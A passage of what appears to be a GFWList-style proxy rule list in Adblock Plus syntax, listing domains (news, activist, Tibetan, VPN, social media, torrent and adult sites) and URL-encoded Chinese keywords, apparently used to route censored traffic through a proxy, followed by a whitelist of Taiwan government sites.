------TT--------------------------\\n.t35.com\\n.t66y.com\\n||t66y.com\\n||t88.ca\\n.taa-usa.org\\n|http://taa-usa.org\\n|http://www.tablesgenerator.com/\\ntabtter.jp\\n.tacem.org\\n||tafaward.com\\ntagwalk.com\\n||tagwalk.com\\ntahr.org.tw\\ntaipei.gov.tw\\n.taipeisociety.org\\n||taipeisociety.org\\n.taiwandaily.net\\n||taiwantt.org.tw\\n||taiwandaily.net\\ntaiwankiss.com\\ntaiwannation.com\\ntaiwannation.com.tw\\n||taiwannews.com.tw\\n|http://www.taiwanonline.cc/\\ntaiwantp.net\\ntaiwanus.net\\ntaiwanyes.com\\ntaiwan-sex.com\\n.talk853.com\\n.talkboxapp.com\\n||talkboxapp.com\\n||tamiaode.tk\\n||tanc.org\\ntangben.com\\n.taolun.info\\n||taolun.info\\nblog.taragana.com\\n||taup.net\\n|http://www.taup.org.tw\\n.taweet.com\\n||taweet.com\\n||tbpic.info\\n||tbsec.org\\n||tbsn.org\\n.tbsseattle.org\\n.tccwonline.org\\n.tcewf.org\\ntchrd.org\\n||techlifeweb.com\\n!--technorati.com\\n||techparaiso.com\\n||teck.in\\nteensinasia.com\\n.telecomspace.com\\n||telegram.org\\n||telegraph.co.uk\\n.tenacy.com\\n.tew.org\\n||theatrum-belli.com\\n||thebodyshop-usa.com\\ntheblemish.com\\n||thebcomplex.com\\n||thebobs.com\\n.thechinabeat.org\\n|http://www.thechinastory.org/yearbooks/yearbook-2012/\\n||thedieline.com\\n||thedw.us\\nthefrontier.hk/tf\\n!--||thegatesnotes.com\\n|http://thegioitinhoc.vn/\\n.thehots.info\\nthehousenews.com\\n||thehun.net\\n.theinitium.com\\n||theinitium.com\\n||thelifeyoucansave.com\\n.thenewslens.com\\nthepiratebay.org\\n!--||thepiratebay.se\\nthereallove.kr\\n||thesartorialist.com\\nthespeeder.com\\n||thestandnews.com\\nthetibetconnection.org\\n.thetibetmuseum.org\\n||thetibetpost.com\\nthetrotskymovie.com/\\nthevivekspot.com\\n||thewgo.org\\n.thinkingtaiwan.com\\n.thisav.com\\n|http://thisav.com\\n||thomasbernhard.org\\nthreatchaos.com\\n||throughnightsfire.com\\n.thumbzilla.com\\n||thywords.com\\ntiananmenmother.org\\n||tiananmenuniv.com\\n||tiananmenuniv.net\\n||tiandixing.org\\n.tianhuayuan.com\\n.tianlawoffice.com\\ntiantibooks.org\\n.tianzhu.org\\n.tibet.at\\ntibet.ca\\n.tibet.com\\n||tibet.com\\ntibet.fr\\n.tibet.net\\n||tibet.net\\ntibet.nu\\n.tibet.org\\n||tibet.org\\ntibet.org.tw\\n.tibet-foundation.org\\n.tibet-house-trust.co.uk\\ntibet-info.net\\ntibet-initiative.de\\n||tibet-initiative.de\\n.tibet-munich.de\\n.tibetaid.org\\ntibetalk.com\\ntibetan-alliance.org\\n.tibetanarts.org\\n.tibetcollection.com\\ntibetanculture.org\\n.tibetanpaintings.com\\n.tibetanphotoproject.com\\n.tibetanwomen.org\\n|http://tibetanwomen.org\\n.tibetanyouthcongress.org\\n||tibetanyouthcongress.org\\n.tibetcharity.dk\\ntibetcharity.in\\n.tibetcity.com\\n.tibetcorps.org\\ntibetfocus.com\\ntibetfund.org\\ntibethouse.jp\\ntibethouse.org\\n||tibethouse.us\\ntibettimes.net\\n.tibetjustice.org\\n|http://tibetmuseum.org\\ntibetnetwork.org\\n||tibetnetwork.org\\n.tibetoffice.ch\\n|http://tibetoffice.ch\\ntibetoffice.org\\ntibetonline.com\\n||tibetonline.com\\n.tibetoffice.com.au\\n|http://tibetoffice.com.au\\n||tibetonline.tv\\n.tibetonline.tv\\n.tibetoralhistory.org\\n.tibetrelieffund.co.uk\\ntibetsites.com\\n.tibetsun.com\\n||tibetwrites.org\\n.time.com/time/time100/leaders/profile/rebel\\n.time.com/time/specials/packages/article/0,28804\\n.time.com/time/magazine\\n||blog.tiney.com\\n.tiny.cc\\n|http://tiny.cc\\ntinychat.com\\n||tinypaste.com\\n.tistory.com\\n||tkcs-collins.com\\n||tkforum.tk\\n.tmagazine.com\\n||tmagazine.com\\n|http://tmi.me\\n.tnaflix.com\\n||tnaflix.com\\n.tnp.org\\n|http://tnp.org\\ntogetter.com\\n.tokyo-247.com\\ntokyo-hot.com\\n||tokyocn.com\\ntw.tomonews.net\\n.tono-oka.jp\\ntonyyan.net\\n.toodoc.com\\ntoonel.net\\n.topnews.in\\n||topshare.us\\n.topshareware.com\\n||topstyle4.com\\n||topsy.com\\n.topsy.com\\n||toptip.ca\\ntora.to\\n.torproject.org\\n||torproject.org\\ntorrentcrazy.com\\n||torrentcrazy.com\\n||torrentproject.se\\n||torrentz.eu\\n||torvpn.com\\ntouch99.com\\n||toutfr.com\\n.tpi.org.tw\\n||tpi.org.tw\\n||transgressionism.org\\n||transparency.org\\n||travelinlocal.com\\n||treemall.com.tw\\ntrendsmap.com\\n||trendsmap.com\\n.trialofccp.org\\n||trialofccp.org\\n||tripod.com\\n@@||www.tripod.com\\n.trouw.nl\\n.trt.net.tr\\ntrtc.com.tw\\ntrulyergonomic.com\\n||trustedbi.com\\n.truth101.co.tv\\n|http://truth101.co.tv\\n||truthcn.com\\n.truveo.com\\n.tsemtulku.com\\ntsquare.tv\\n.tsu.org.tw\\ntsunagarumon.com\\n|http://www.tsuru-bird.net/\\n.tsctv.net\\n||tt-rss.org\\n||tt1069.com\\n||tttan.com\\n.tttan.com\\nbb.ttv.com.tw/bb\\ntu8964.com\\n.tuanzt.com\\n.tube.com\\ntube8.com\\n||tube8.com\\n.tube911.com\\n||tube911.com\\ntubecao.com\\n||tubewolf.com\\ntuidang.net\\ntuidang.org\\nbbs.tuitui.info\\n||tumutanzi.com\\n.tunein.com\\n|http://tunein.com\\n||tunnelbear.com\\n.tuo8.hk\\n.tuo8.org\\n||tuo8.org\\n.turbobit.net\\n|http://turbobit.net\\n||turningtorso.com\\n||tuxtraining.com\\n|http://tuzaijidi.com\\n|http://*.tuzaijidi.com\\n.tw01.org\\n|http://tw01.org\\n\\n!-------------Tumblr-----\\n!--||tumblr.com\\n!--@@||assets.tumblr.com\\n!--@@||data.tumblr.com\\n!--@@||media.tumblr.com\\n!--@@||static.tumblr.com\\n!--@@||www.tumblr.com\\n||fqrouter.tumblr.com\\n\\n.tv.com\\n||www.tv.com\\n|http://tv.com\\n||tv-intros.com\\ntvants.com\\nforum.tvb.com/\\nnews.tvb.com/list/world\\ntvboxnow.com\\ntvider.com\\n||tvunetworks.com\\n.tw-npo.org\\ntwapperkeeper.com\\n||twapperkeeper.com\\n||twaud.io\\n.twaud.io\\n.twbbs.net.tw\\ntwbbs.org\\ntwbbs.tw\\n||twblogger.com\\ntweepmag.com\\n.tweepml.org\\n||tweepml.org\\n.tweetbackup.com\\n||tweetbackup.com\\ntweetboard.com\\n||tweetboard.com\\n.tweetboner.biz\\n||tweetboner.biz\\n.tweetdeck.com\\n||tweetdeck.com\\n|http://deck.ly\\n!-- Operation discontinued\\n!--||tweete.net\\n!--m.tweete.net\\n||mtw.tl\\n||tweetedtimes.com\\n!-- Operation discontinued\\n!--tweetmeme.com\\n||tweetmylast.fm\\ntweetphoto.com\\n||tweetphoto.com\\n||tweetrans.com\\ntweetree.com\\n||tweetree.com\\n||tweetwally.com\\ntweetymail.com\\n||twftp.org\\ntwibase.com\\n.twibble.de\\n||twibble.de\\ntwibbon.com\\n||twibs.com\\ntwicsy.com\\n.twifan.com\\n|http://twifan.com\\ntwiffo.com\\n||twiffo.com\\ntwilog.org\\ntwimbow.com\\n||twimbow.com\\n||twindexx.com\\ntwipple.jp\\n||twipple.jp\\n||twip.me/\\ntwistar.cc\\n||twister.net.co\\n||twisterio.com\\ntwisternow.com\\ntwistory.net\\ntwitbrowser.net\\n||twitcause.com\\n||twitgether.com\\n||twiggit.org\\ntwitgoo.com\\ntwitiq.com\\n||twitiq.com\\n.twitlonger.com\\n||twitlonger.com\\n|http://tl.gd/\\ntwitoaster.com\\n||twitoaster.com\\n||twitonmsn.com\\n.twitpic.com\\n||twitpic.com\\n!--Same IP\\n.twit2d.com\\n||twit2d.com\\n.twitstat.com\\n||twitstat.com\\n||firstfivefollowers.com\\n||retweeteffect.com\\n||tweeplike.me\\n||tweepguide.com\\n||turbotwitter.com\\n.twitvid.com\\n||twitvid.com\\n\\n199.59.148.20\\n||t.co\\n.t.co\\n|http://twt.tl\\ntwittbot.net\\ntwitter.com\\n||twitter.com\\n||twitter.jp\\n||twttr.com\\n/^https?:\\\\/\\\\/[^\\\\/]+twitter\\\\.com/\\n\\n||twitter4j.org\\n.twittercounter.com\\n||twittercounter.com\\ntwitterfeed.com\\n.twittergadget.com\\n||twittergadget.com\\n.twitterkr.com\\n||twitterkr.com\\n||twittermail.com\\ntwittertim.es\\n||twittertim.es\\ntwitthat.com\\n||twitturk.com\\n.twitturly.com\\n||twitturly.com\\n.twitzap.com\\ntwiyia.com\\n||twstar.net\\n\\n.twtkr.com\\n|http://twtkr.com\\n||twimg.com\\ntwtrland.com\\ntwurl.nl\\n.twyac.org\\n||twyac.org\\n.tycool.com\\n||tycool.com\\n||tzangms.com\\n\\n!--typepad\\n||typepad.com\\n@@||www.typepad.com\\n@@||static.typepad.com\\n||blog.expofutures.com\\n||legaltech.law.com\\n||latimesblogs.latimes.com\\n||blog.palm.com\\n||blogs.tampabay.com\\n||contests.twilio.com\\n!-lawprofessors.typepad.com/china_law_prof\\n\\n!-------------Twitese-----\\nembr.in\\n||embr.in\\nguomin.us/login\\n\\n!--------------------------UU--------------------------\\n||uberproxy.net\\n.srcf.ucam.org/salon/\\n||ucdc1998.org\\n|http://hum*.uchicago.edu/faculty/ywang/history\\n||uderzo.it\\n||udn.com\\n.udn.com\\n||uforadio.com.tw\\nufreevpn.com\\n.ugo.com\\n||uhrp.org\\n.uighur.nl\\n||uighur.nl\\nuighurbiz.net\\n.ulike.net\\nukliferadio.co.uk\\n||ukliferadio.co.uk\\nultravpn.fr\\n||ultravpn.fr\\nultraxs.com\\numich.edu/~falun\\n||unblock.cn.com\\n||unblocksit.es\\nuncyclomedia.org\\nuncyclopedia.info\\n|http://uncyclopedia.tw\\n||unholyknight.com\\n.uni.cc\\nunicode.org\\n.unification.org.tw\\n.uniteddaily.com.my/index.php?\\n.unix100.com\\n||unknownspace.org\\nunpo.org\\n||uocn.org\\ntor.updatestar.com\\n.upholdjustice.org\\n.upload4u.info\\n|http://uploaded.net/file/\\n.uploaded.to/file\\n|http://uploaded.to/file\\n.uploadstation.com/file\\n.upwill.org\\nwww.urbanoutfitters.com\\nmyshare.url.com.tw/\\n||urlborg.com\\n||urlparser.com\\nus.to\\n||usacn.com\\nbeta.usejump.com\\n||usfk.mil\\n||usma.edu\\n||usmc.mil\\n|http://tarr.uspto.gov/\\n||tsdr.uspto.gov\\n.ustream.tv\\n||ustream.tv\\n||ustwrap.info\\nusus.cc\\n.uwants.com\\n.uwants.net\\n|http://uyghur-j.org\\n||uyghuramerican.org\\n.uyghurcanadiansociety.org\\n.uyghurensemble.co.uk\\n||uyghurcongress.org\\n.uyghurpen.org\\n.uyghurpress.com\\nuygur.org\\n|http://uymaarip.com/\\n\\n!--------------------------VV--------------------------\\n||v2dn.com\\n!--|http://cdn.v2ex.com\\n!--|http://v2ex.com\\n!--|http://www.v2ex.com\\n||vaayoo.com\\n.van698.com\\n.vanemu.cn\\n.vanilla-jp.com\\nvansky.com\\n||vcf-online.org\\n||vcfbuilder.org\\n.velkaepocha.sk\\n.venbbs.com\\n.venchina.com\\nveoh.com\\n.verizon.net\\n||verybs.com\\n.vft.com.tw\\n.viber.com\\nvideobam.com\\n||videobam.com\\n.videomega.tv\\n||videomega.tv\\n.videomo.com\\n||vidoemo.com\\nvideopediaworld.com\\n||viki.com\\nvimeo.com\\n||vimgolf.com\\n||vimperator.org\\n||vincnd.com\\n||vinniev.com\\n|http://www.lib.virginia.edu/area-studies/Tibet/tibet.html\\n|http://ny.visiontimes.com/\\n.vivatube.com\\n.vivthomas.com\\n||vivthomas.com\\n.vjmedia.com.hk\\n.vllcs.org\\n||vmixcore.com\\ncn.voa.mobi\\ntw.voa.mobi\\n.voachineseblog.com\\n||voachineseblog.com\\n!--voachineseblog.com/heqinglian\\nvoagd.com\\nvoacantonese.com\\n||voacantonese.com\\nvoachinese.com\\n||voachinese.com\\nvoatibetan.com\\n||voatibetan.com\\n.voanews.com\\nvocn.tv\\n.vot.org\\n||vot.org\\nwww.voy.com\\n||www.vpncup.com\\nvpnbook.com\\nvpnfire.com\\n.vpnforgame.net\\n||vpnforgame.net\\n||vpngate.jp\\n.vpngate.net\\n||vpngate.net\\n||vpnpop.com\\n||vpnpronet.com\\n||vpnreviewz.com\\n.vporn.com\\n||vporn.com\\n||vtunnel.com\\n\\n!--------------------------WW--------------------------\\n||w.org\\nlists.w3.org/archives/public\\n||w3schools.com\\n||waffle1999.com\\n.wahas.com\\n.waigaobu.com\\nwaikeung.org/php_wind\\n.waiwaier.com\\n|http://waiwaier.com\\nwallornot.org\\n||wallpapercasa.com\\n||www.wan-press.org\\n||wanderinghorse.net\\n||wangafu.net\\n||wangjinbo.org\\n.wangjinbo.org\\nwanglixiong.com\\nwangruoshui.net\\nwww.wangruowang.org\\nwant-daily.com\\nwapedia.mobi/zhsimp\\n||waselpro.com\\n.wattpad.com\\n||wattpad.com\\n.makzhou.warehouse333.com\\nwasheng.net\\n||watchmygf.net\\n||wav.tv\\n.wdf5.com\\n.wearn.com\\n||wearn.com\\n||hudatoriq.web.id\\n||web2project.net\\nwebbang.net\\nweblagu.com\\n||webmproject.org\\nwebs-tv.net\\n!--webshots.com\\nwebsitepulse.com/help/testtools.china-test.html\\n|http://www.websnapr.com\\nwebworkerdaily.com\\n.weekmag.info\\n||wefightcensorship.org\\n.wefong.com\\nweiboleak.com\\nweijingsheng.org\\n.weiming.info\\n||weiming.info\\nweiquanwang.org\\n|http://weisuo.ws\\n.wemigrate.org\\nwengewang.com\\n||wengewang.org\\n.wenhui.ch\\n|http://trans.wenweipo.com/gb/\\nwenxuecity.com\\n.wenyunchao.com\\n||wenyunchao.com\\nwestca.com\\n||westca.com\\n||westernwolves.com\\n.westkit.net\\n||westpoint.edu\\nwww.wet123.com\\n||wepn.info\\n.westernshugdensociety.org\\nwetpussygames.com\\n.wetplace.com\\nwexiaobo.org\\n||wexiaobo.org\\nwezhiyong.org\\n||wezone.net\\n.wforum.com\\n||wforum.com/\\n.whatblocked.com\\n||whatblocked.com\\n.whippedass.com\\n|http://who.is/\\nwhylover.com\\n||whyx.org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@